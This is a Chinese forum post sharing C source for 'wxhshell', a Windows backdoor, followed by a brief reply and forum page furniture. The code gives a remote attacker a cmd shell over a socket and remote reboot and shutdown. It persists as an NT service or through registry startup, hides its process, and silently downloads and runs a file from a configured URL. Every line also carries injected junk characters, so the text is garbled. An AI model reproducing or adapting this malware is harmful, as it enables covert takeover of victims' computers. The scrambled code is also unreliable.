  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?]U*)B.r  
  else )2RRa^=&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [:.wCG5  
  }  t1 YB  
  else { @]%eL  
triU^uvh  
    switch(cmd[0]) { <zR{'7L/  
  OA*O =  
  // 帮助 cFw-JM<  
  case '?': { l>K+4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cN0 *<  
    break; 1R3,Z8j'  
  } !DzeJWM|  
  // 安装 #<< el;n  
  case 'i': { L&DjNu`!9  
    if(Install()) Sc]K-]1(H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iq*im$9 J  
    else F$)l8}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2PYnzAsl  
    break; ;O% H]oN  
    } 5PO_qr= Hx  
  // 卸载 JyZuj>` 6  
  case 'r': { o *J*} y  
    if(Uninstall()) #Z1-+X8P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mA{?E9W  
    else udqrHR5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Rpgg :  
    break; f~T7?D0u}N  
    } V.&F%(L  
  // 显示 wxhshell 所在路径 /Ne#{*z)hO  
  case 'p': { GZ~Tl0U  
    char svExeFile[MAX_PATH]; `=H*4I-"  
    strcpy(svExeFile,"\n\r"); ##6\~!P  
      strcat(svExeFile,ExeFile); .p! DVQ"a  
        send(wsh,svExeFile,strlen(svExeFile),0); YK)m6zW5  
    break; gMI%!Y  
    } }yK7LooM  
  // 重启 x6`mv8~9Db  
  case 'b': { H P.=6bJWi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R>O_2`c  
    if(Boot(REBOOT)) H[u9C:}9b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >O?WRC B  
    else { `Y:]&w  
    closesocket(wsh); PP$sdmo  
    ExitThread(0); (M$0'BV0  
    } !CUl1L1DSi  
    break; 8{jXSCP#  
    } BDI@h%tJb:  
  // 关机 :oZ<[#p"*  
  case 'd': { 6p4BsWPx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2.aCo, Kb;  
    if(Boot(SHUTDOWN)) QcL@3QC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0_)J1Yp  
    else { D_d>A+  
    closesocket(wsh); xRD+!3  
    ExitThread(0); ;[::&qf  
    } G`zNCx.  
    break; Mpojabsh  
    } p qz~9y~  
  // 获取shell Ax&!Nz+?  
  case 's': { gS~H1Ro  
    CmdShell(wsh); !G-+O#W`  
    closesocket(wsh); @}H u)HO  
    ExitThread(0); ;stuTj@vH  
    break; Ab ,^y  
  } nZbI}kcm  
  // 退出  Y${'  
  case 'x': { {!|4JquE_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3[ [oAp  
    CloseIt(wsh); N1ipK9a  
    break; J _O5^=BP  
    } D`JBK?~  
  // 离开 M M@,J<  
  case 'q': { %*gf_GeM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J =^IS\m  
    closesocket(wsh); =:&xdphZ+  
    WSACleanup(); .J75bX5  
    exit(1); n{;Q"\*Sg  
    break; 0#8   
        } i\6CE|  
  } DEZww9T2Qs  
  } {nV/_o$$  
49; 'K  
  // 提示信息 1Z}5ykM3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .nD#:86M  
} #-;c!<2  
  } \C3I6Qx  
XYo,5-  
  return; !kE5]<H\  
} 5!F;|*vC8  
cX-M9Cz  
// shell模块句柄 N]+6<  
int CmdShell(SOCKET sock) Q~(Gll;  
{ bgor W"'  
STARTUPINFO si; m;dwt1'Zw  
ZeroMemory(&si,sizeof(si)); _= v4Iz0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R])Eg&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AT"gRCU$4  
PROCESS_INFORMATION ProcessInfo; a!$kKOK  
char cmdline[]="cmd"; >B{NxL3->  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~*Y#Y{  
  return 0; $.jG O!  
} X+;[Gc}(W  
?Zb+xNKJ(  
// 自身启动模式 3NpB1lgh&:  
int StartFromService(void) q}P@}TE  
{ %l7[eZ{Y  
typedef struct QXkA%'@'  
{ z;qDl%AF  
  DWORD ExitStatus; StI N+S@Z  
  DWORD PebBaseAddress; a#j,0FKv  
  DWORD AffinityMask; ^ j\LB23  
  DWORD BasePriority; +5zXbfO  
  ULONG UniqueProcessId; z By%=)`  
  ULONG InheritedFromUniqueProcessId; ;R*-cm  
}   PROCESS_BASIC_INFORMATION; jaoZ}}V_$  
[Fr](&Tx  
PROCNTQSIP NtQueryInformationProcess; /w?e(v<  
KOy{?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lMY\8eobcB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '3>;8(s l  
XKjrS 9:  
  HANDLE             hProcess; Ljy797{f  
  PROCESS_BASIC_INFORMATION pbi; K{P-+(  
,clbD4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nONuw;K  
  if(NULL == hInst ) return 0; rt+4-WuK>  
~~/,2^   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RAO+<m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ETHcZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z&%i"IY  
m# {'9 |  
  if (!NtQueryInformationProcess) return 0; '8q3ub<\  
z0 9Gp}^;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "h+Z[h6T  
  if(!hProcess) return 0; &O' W+4FAc  
s/"bH3Ob9v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H a!,9{T  
(]#^q8)]\9  
  CloseHandle(hProcess); JH.XZM&  
P)Adb~r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h[remR# 3\  
if(hProcess==NULL) return 0; PF~@@j  
kk=n&M  
HMODULE hMod; ZsP^<  
char procName[255]; k$kE5kh,S  
unsigned long cbNeeded; tRoSq;VrS  
At.& $ t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mo| D  
5T;LWS  
  CloseHandle(hProcess); ahl|N`  
gnp.!-  
if(strstr(procName,"services")) return 1; // 以服务启动 t=P+m   
qd0G sr}j  
  return 0; // 注册表启动 /!H24[tnk1  
} y[ dB mTY  
Orq/38:4G  
// 主模块 u n v:sV#b  
int StartWxhshell(LPSTR lpCmdLine) JG!B3^qB  
{ TUp\,T^2  
  SOCKET wsl; 8:TX9`,  
BOOL val=TRUE; 7:UeE~ uB:  
  int port=0; d7V/#34  
  struct sockaddr_in door; s 4`-mIa  
lO-DXbgql$  
  if(wscfg.ws_autoins) Install(); xv]z>4@z,  
[7@blU  
port=atoi(lpCmdLine); /]U$OP*0  
,l>w9?0Z  
if(port<=0) port=wscfg.ws_port; E'WXi!>7p  
MJ:c";KCq0  
  WSADATA data; zVE" 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ud/!@WG  
v<1@"9EH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   84(Jo_9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (@^9oN~}  
  door.sin_family = AF_INET; 45JL{YRN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +p\E%<uQ  
  door.sin_port = htons(port); ;?Pz0,{h  
1n`[D&?q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ? $B4'wc5  
closesocket(wsl); 6{+yAsI  
return 1; L2VwW  
} fJ Ll-H  
g}+|0FTV  
  if(listen(wsl,2) == INVALID_SOCKET) { Mk*4J]PP  
closesocket(wsl); o9xc$hX}  
return 1; j3sz"(  
} (pELd(*Ga  
  Wxhshell(wsl); ,buX|  
  WSACleanup(); IUOf/mM5  
MD[hqshoh  
return 0; F8w7N$/V",  
{7e(0QK  
} FS"Ja`>j~  
I=L[ "]  
// 以NT服务方式启动 0ca0-vY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mlByE,S2E  
{ $oW= N   
DWORD   status = 0; *B&P[n  
  DWORD   specificError = 0xfffffff; goR_\b SU  
6m&GN4Ca  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kQ=bd{a6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6/;YS[jX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +C`!4v\n  
  serviceStatus.dwWin32ExitCode     = 0; 1EV bGe%b  
  serviceStatus.dwServiceSpecificExitCode = 0; nFni1cCD  
  serviceStatus.dwCheckPoint       = 0; &eV5#Ph  
  serviceStatus.dwWaitHint       = 0; ["nWIs[h  
DGJ:#U E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wiI@DJ>E  
  if (hServiceStatusHandle==0) return; ^y>V-R/N  
g=td*S  
status = GetLastError(); M{L<aYe  
  if (status!=NO_ERROR) 0L>3 i8'  
{ @ 51!3jeu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oem1=QpaC  
    serviceStatus.dwCheckPoint       = 0; ;W{z"L;nX  
    serviceStatus.dwWaitHint       = 0; 5j`sJvq  
    serviceStatus.dwWin32ExitCode     = status; 8$-MUF,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6Jgl"Jw8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j"jssbu}  
    return; 0Px Hf*  
  } JlSqTfA  
yD<#Q\,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S[L@8z.Sj  
  serviceStatus.dwCheckPoint       = 0; 4<s;xSCL  
  serviceStatus.dwWaitHint       = 0; \gP?uJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +vZYuEq_  
} =)bOteWM  
Ls2OnL9  
// 处理NT服务事件,比如:启动、停止 @6ckB (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }6l:'nW  
{ Xf;!w:u  
switch(fdwControl) G:e=9qTf  
{ yl>^QMmo  
case SERVICE_CONTROL_STOP: -, +o*BP  
  serviceStatus.dwWin32ExitCode = 0; Yh]a4l0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bAt!S  
  serviceStatus.dwCheckPoint   = 0; ta&z lZt  
  serviceStatus.dwWaitHint     = 0; iB0r+IbR  
  { (U5XB [r_P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZvuY] =^3  
  } 5^uX!_ r`  
  return; _U}|Le@ e  
case SERVICE_CONTROL_PAUSE: 5{-Hg[+9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M0m%S:2  
  break; A]"6/Lr9P  
case SERVICE_CONTROL_CONTINUE: v_5O*F7)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t_^cqEr  
  break; &# fPJc  
case SERVICE_CONTROL_INTERROGATE: di_N}x*  
  break; -AnJLFY  
}; ~%\vX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;R >>,&g  
} ,pcyU\68v  
, JH*l:7  
// 标准应用程序主函数 #NT~GhWFf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LEKE+775  
{ a3A-N] ;f  
~a=]w#-KD  
// 获取操作系统版本 AYNz {9  
OsIsNt=GetOsVer(); <!dZ=9^^ 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tx ?s?DwC  
1mgw0QO  
  // 从命令行安装 ^/2O_C  
  if(strpbrk(lpCmdLine,"iI")) Install(); R]od/u/$  
v2|zIZ  
  // 下载执行文件 }!g$k $y  
if(wscfg.ws_downexe) { s,-<P1}/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hpOY&7QUTD  
  WinExec(wscfg.ws_filenam,SW_HIDE); G} [$M"}  
} G]l/L\{  
|x.[*'X@  
if(!OsIsNt) { J{Ij  
// 如果时win9x,隐藏进程并且设置为注册表启动 mC ]Krnx  
HideProc(); P Jb /tKC  
StartWxhshell(lpCmdLine); 0lt1/PEKx2  
} (Vey]J  
else ^N}{M$  
  if(StartFromService()) 7<jr0)  
  // 以服务方式启动 pC 4uar  
  StartServiceCtrlDispatcher(DispatchTable); fk^DkV^<  
else 3Mh_ &%!O  
  // 普通方式启动 o)\EfPT  
  StartWxhshell(lpCmdLine); [Qkj}  
Pd:tRY+t/  
return 0; ]I~BgE;C9  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五